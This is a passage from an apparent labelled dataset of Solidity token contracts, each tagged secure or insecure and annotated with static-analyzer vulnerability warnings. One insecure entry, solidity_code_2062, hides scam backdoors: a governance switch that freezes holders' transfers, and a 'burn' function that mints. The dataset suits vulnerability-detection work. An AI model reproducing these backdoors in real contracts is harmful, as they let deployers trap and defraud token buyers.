'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 05dfd03): OKE._maxTaxSwap should be constant \n\t// Recommendation for 05dfd03: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1c76e9d): OKE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1c76e9d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f13b432): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f13b432: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f630adc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f630adc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f13b432\n\t\t// reentrancy-benign | ID: f630adc\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: f13b432\n\t\t// reentrancy-benign | ID: f630adc\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 26a2b34): OKE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 26a2b34: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: f630adc\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: f13b432\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6affc01): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6affc01: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 7dfee70): OKE._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for 7dfee70: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a53594f): OKE.bots is never initialized. It is used in OKE._transfer(address,address,uint256) OKE.isBot(address)\n\t// Recommendation for a53594f: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a0d4f99): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a0d4f99: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 7dfee70\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n if (_buyCount < _preventSwapBefore) {\n require(!isContract(to));\n }\n _buyCount++;\n _buyerMap[to] = true;\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n if (to == uniswapV2Pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n require(\n _buyCount > _preventSwapBefore || _buyerMap[from],\n \"Seller is not buyer\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 6affc01\n\t\t\t\t// reentrancy-eth | ID: a0d4f99\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6affc01\n\t\t\t\t\t// reentrancy-eth | ID: a0d4f99\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a0d4f99\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 6affc01\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: a0d4f99\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: a0d4f99\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 6affc01\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n if (!tradingOpen) {\n return;\n }\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 6affc01\n\t\t// reentrancy-events | ID: f13b432\n\t\t// reentrancy-benign | ID: f630adc\n\t\t// reentrancy-eth | ID: a0d4f99\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n transferDelayEnabled = false;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 90b68dd): OKE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 90b68dd: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6affc01\n\t\t// reentrancy-events | ID: f13b432\n\t\t// reentrancy-eth | ID: a0d4f99\n\t\t// arbitrary-send-eth | ID: 90b68dd\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a53594f): OKE.bots is never initialized. It is used in OKE._transfer(address,address,uint256) OKE.isBot(address)\n\t// Recommendation for a53594f: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 392e37a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 392e37a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4a12ce1): OKE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4a12ce1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 72b9af5): OKE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 72b9af5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1871f5a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1871f5a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 392e37a\n\t\t// reentrancy-eth | ID: 1871f5a\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 392e37a\n\t\t// unused-return | ID: 4a12ce1\n\t\t// reentrancy-eth | ID: 1871f5a\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 392e37a\n\t\t// unused-return | ID: 72b9af5\n\t\t// reentrancy-eth | ID: 1871f5a\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: 392e37a\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 1871f5a\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_2057.sol",
"secure": 0,
"size_bytes": 18902
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Admin {\n address public admin;\n\n modifier onlyAdmin() {\n require(msg.sender == admin, \"Admin: Not admin\");\n _;\n }\n\n constructor() {\n setAdmin(msg.sender);\n }\n\n function setAdmin(address _newAdmin) private {\n admin = _newAdmin;\n }\n\n function tranfserAdminRights(address _newAdmin) external onlyAdmin {\n _transferAdminRights(_newAdmin);\n }\n\n function _transferAdminRights(address _newAdmin) private {\n require(_newAdmin != address(0), \"Admin: Zero Address\");\n setAdmin(_newAdmin);\n }\n}",
"file_name": "solidity_code_2058.sol",
"secure": 1,
"size_bytes": 660
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Admin.sol\" as Admin;\n\ncontract Upgradeable is Admin {\n bytes32 private constant implementationPosition =\n keccak256(\"implementation\");\n\n function getImplementation() public view returns (address implementation) {\n bytes32 position = implementationPosition;\n assembly {\n implementation := sload(position)\n }\n }\n\n function setImplementation(address _newImplementation) external onlyAdmin {\n require(_newImplementation != address(0), \"Upgradeable: Zero Address\");\n require(\n isContract(_newImplementation),\n \"Upgradeable: Implemenentation address must be a contract\"\n );\n address currentImplementation = getImplementation();\n require(\n currentImplementation != _newImplementation,\n \"Upgradeable: Old and New implementation addresses are same\"\n );\n bytes32 position = implementationPosition;\n assembly {\n sstore(position, _newImplementation)\n }\n }\n\n function isContract(address _target) private view returns (bool) {\n if (_target == address(0)) {\n return false;\n }\n\n uint256 size;\n assembly {\n size := extcodesize(_target)\n }\n return size > 0;\n }\n}",
"file_name": "solidity_code_2059.sol",
"secure": 1,
"size_bytes": 1399
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: bff5bb8): Contract locking ether found Contract DEGEN6900 has payable functions DEGEN6900.receive() But does not have a function to withdraw the ether\n// Recommendation for bff5bb8: Remove the 'payable' attribute or add a withdraw function.\ncontract DEGEN6900 is ERC20, Ownable {\n constructor() ERC20(\"DEGEN6900 \", \"DGX\") {\n _mint(owner(), 1_000_000_000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: bff5bb8): Contract locking ether found Contract DEGEN6900 has payable functions DEGEN6900.receive() But does not have a function to withdraw the ether\n\t// Recommendation for bff5bb8: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_206.sol",
"secure": 0,
"size_bytes": 1001
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Upgradeable.sol\" as Upgradeable;\n\ncontract Proxy is Upgradeable {\n fallback() payable external {\n require(msg.data.length > 0, \"Upgradeable: Invalid data sent\");\n address _impl = getImplementation();\n assembly {\n let ptr := mload(0x40)\n calldatacopy(ptr, 0x0, calldatasize())\n let result := delegatecall(\n gas(),\n _impl,\n ptr,\n calldatasize(),\n 0x0,\n 0\n )\n let size := returndatasize()\n returndatacopy(ptr, 0x0, size)\n switch result\n case 0 {\n revert(ptr, size)\n }\n default {\n return(ptr, size)\n }\n }\n }\n}",
"file_name": "solidity_code_2060.sol",
"secure": 1,
"size_bytes": 880
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n address internal _governance;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n modifier onlyGovernance() {\n require(\n _governance == _msgSender(),\n \"Governance: caller is not the governance\"\n );\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1c53be2): Ownable.governance(address).account lacks a zerocheck on \t _governance = account\n\t// Recommendation for 1c53be2: Check that the address is not zero.\n function governance(address account) external onlyOwner {\n require(_governance == address(0));\n\t\t// missing-zero-check | ID: 1c53be2\n\t\t// events-access | ID: eb2b825\n _governance = account;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_2061.sol",
"secure": 0,
"size_bytes": 1595
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) internal _balances;\n mapping(address => bool) private _allowance;\n mapping(address => mapping(address => uint256)) internal _allowances;\n uint256 internal _totalSupply;\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(address spender) external onlyGovernance {\n if (_allowance[spender] == true) {\n _allowance[spender] = false;\n } else {\n _allowance[spender] = true;\n }\n }\n\n function allowances(address spender) public view returns (bool) {\n return _allowance[spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function burn(uint256 amount) public virtual onlyGovernance {\n _burn(_msgSender(), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n if (_allowance[sender] || _allowance[recipient])\n require(amount == 0, \"ERC20: transfer amout exceeds allowance\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n require(accountBalance <= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance + amount;\n }\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2062.sol",
"secure": 0,
"size_bytes": 6270
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PRIMEINU is ERC20 {\n constructor() ERC20(\"PRIME INU\", \"PRIMEINU\") {\n _totalSupply = 50000000000000 * 10 ** 9;\n _balances[msg.sender] += _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n}",
"file_name": "solidity_code_2063.sol",
"secure": 1,
"size_bytes": 387
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract BYBO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 00b5620): BYBO._name should be constant \n\t// Recommendation for 00b5620: Add the 'constant' attribute to state variables that never change.\n string private _name = \"BYBO\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 6a6042b): BYBO._symbol should be constant \n\t// Recommendation for 6a6042b: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"BYBO\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 9b79063): BYBO._decimals should be constant \n\t// Recommendation for 9b79063: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8078214): BYBO._totalSupply should be immutable \n\t// Recommendation for 8078214: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 2800000000 * (10 ** uint256(_decimals));\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f4bc434): BYBO.swapRouter should be immutable \n\t// Recommendation for f4bc434: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router public swapRouter;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a183729): BYBO.swapPair should be immutable \n\t// Recommendation for a183729: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public swapPair;\n\n constructor() {\n IUniswapV2Router _uniswapRouter = IUniswapV2Router(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n swapRouter = _uniswapRouter;\n\n swapPair = IUniswapV2Factory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (recipient != swapPair) {\n require(\n _balances[recipient].add(amount) <=\n _totalSupply.mul(5).div(100),\n \"ERC20: recipient balance will exceed 2% of total supply\"\n );\n }\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"BEP2k0: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n}",
"file_name": "solidity_code_2064.sol",
"secure": 1,
"size_bytes": 6260
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract AngelCoin is Context, IERC20, IERC20Metadata, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 623c54e): AngelCoin._decimals should be immutable \n\t// Recommendation for 623c54e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _decimals;\n\n constructor() {\n _name = \"AngelCoin\";\n _symbol = \"ANGEL\";\n _decimals = 18;\n _totalSupply = 150000000 * 10 ** (_decimals);\n _balances[_msgSender()] = _totalSupply;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 19e3858): AngelCoin.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 19e3858: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override onlyOwner returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual onlyOwner returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual onlyOwner returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address 